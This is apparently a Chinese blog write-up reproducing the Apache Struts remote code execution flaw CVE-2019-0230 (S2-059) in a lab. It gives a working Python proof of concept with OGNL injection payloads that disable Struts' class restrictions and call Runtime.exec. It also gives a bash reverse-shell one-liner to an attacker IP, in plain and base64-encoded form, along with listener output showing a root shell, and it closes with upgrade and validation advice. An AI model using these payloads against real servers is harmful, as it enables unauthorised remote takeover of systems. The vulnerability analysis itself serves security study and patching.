CVE-2019-0230(S2-059) 0x00.漏洞简述 Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.
Apache Struts 2.0.0到2.5.20强制执行双重OGNL计算,当对原始用户输入的标记属性进行计算时,可能会导致远程代码执行。
0x01.影响 version: 2.0.0-2.5.20 solution: apache-struts-upgrade-2_5_22 Severity CVSS Published Created Added Modified 8 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 08/17/2020 08/15/2020 08/17/2020 09/21/2020
0x02.漏洞分析 天融信阿尔法实验室漏洞分析
通过学习可知:此次漏洞需要开启(默认开启)altSyntax
功能,只能是在标签id
属性中存在表达式,并且参数还可以控制,攻击者通过构造特定的表达式赋值给id参数,传参后导致二次解析可造成远程命令执行漏洞。
0x03.搭建环境 本次环境
0x04.漏洞复现 1.访问环境 2.漏洞验证 通过构造表达式%25{2*10}执行后发现标签属性id值变成了为10,说明成功执行了表达式并运算2*10,并返回了结果。
3.构造payload 本次使用bash -i >& /dev/tcp/192.168.1.129/6666 0>&1(需要编码)
编码转换地址
转换
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
4.编写POC 将payload放到对应位置上
1 2 3 4 5 6 7 8 9 10 11 import requestsurl = "http://192.168.1.137:8080" data1 = { "id" : "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id" : "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload'))}" } res1 = requests.post(url, data=data1) res2 = requests.post(url, data=data2)
5.利用 kali监听
1 2 3 root@JIYE:~# nc -nvlp 6666 listening on [any] 6666 ...
执行POC get shell
1 2 3 4 5 6 7 8 9 root@JIYE:~# nc -nvlp 6666 listening on [any] 6666 ... connect to [192.168.1.129] from (UNKNOWN) [192.168.1.137] 33258 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@88497928f70b:/usr/src# whoami whoami root root@88497928f70b:/usr/src#
0x05.解决办法 1 2 3 4 5 最终的解决方法是为传入的每个值添加适当的验证,并将其用于标记的属性中。 除非为有效的用例真正需要,否则请勿使用强制使用值%以外的属性求值,而使用%{...}或$ {...}语法。 通过 升级到Struts 2.5.22,强制双重评估的可能恶意影响将进一步受到限制,并关闭了已报告的攻击媒介,特别是与主动OGNL表达注入保护结合使用时。 升级到Struts 2.5.22时没有任何问题。(真的吗???🙃)
0x06.总结 1 2 3 4 5 6 7 8 9 强制使用Apache Struts框架时,会对分配给某些标签属性的属性值进行双重评估,例如,id这样就可以传递一个值,该值将在呈现标签属性时再次进行评估。通过精心设计的请求,这可以导致远程执行代码(RCE)。 仅当在Struts标记属性内强制执行OGNL评估时,此问题才适用,当评估的表达式引用未经攻击的原始输入时,攻击者可以通过设计相应的请求来直接对其进行修改。 例: <s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a> 如果攻击者能够修改skillName请求中的属性,以使原始OGNL表达式skillName无需进一步验证即可传递给该属性,则skillName当作为请求的结果呈现标记时,将评估属性中包含的提供的OGNL表达式。 从2.0.0开始,Struts会设计使用双重评估的机会,并且正确完成后将成为有用的工具,这最显着的意思是仅在给定表达式中引用经过验证的值。但是,在表达式中引用未经验证的用户输入时,可能会注入恶意代码。在持续的努力中,Struts框架包括缓解措施以限制注入的表达式的影响,但2.5.22之前的Struts仍未解决攻击向量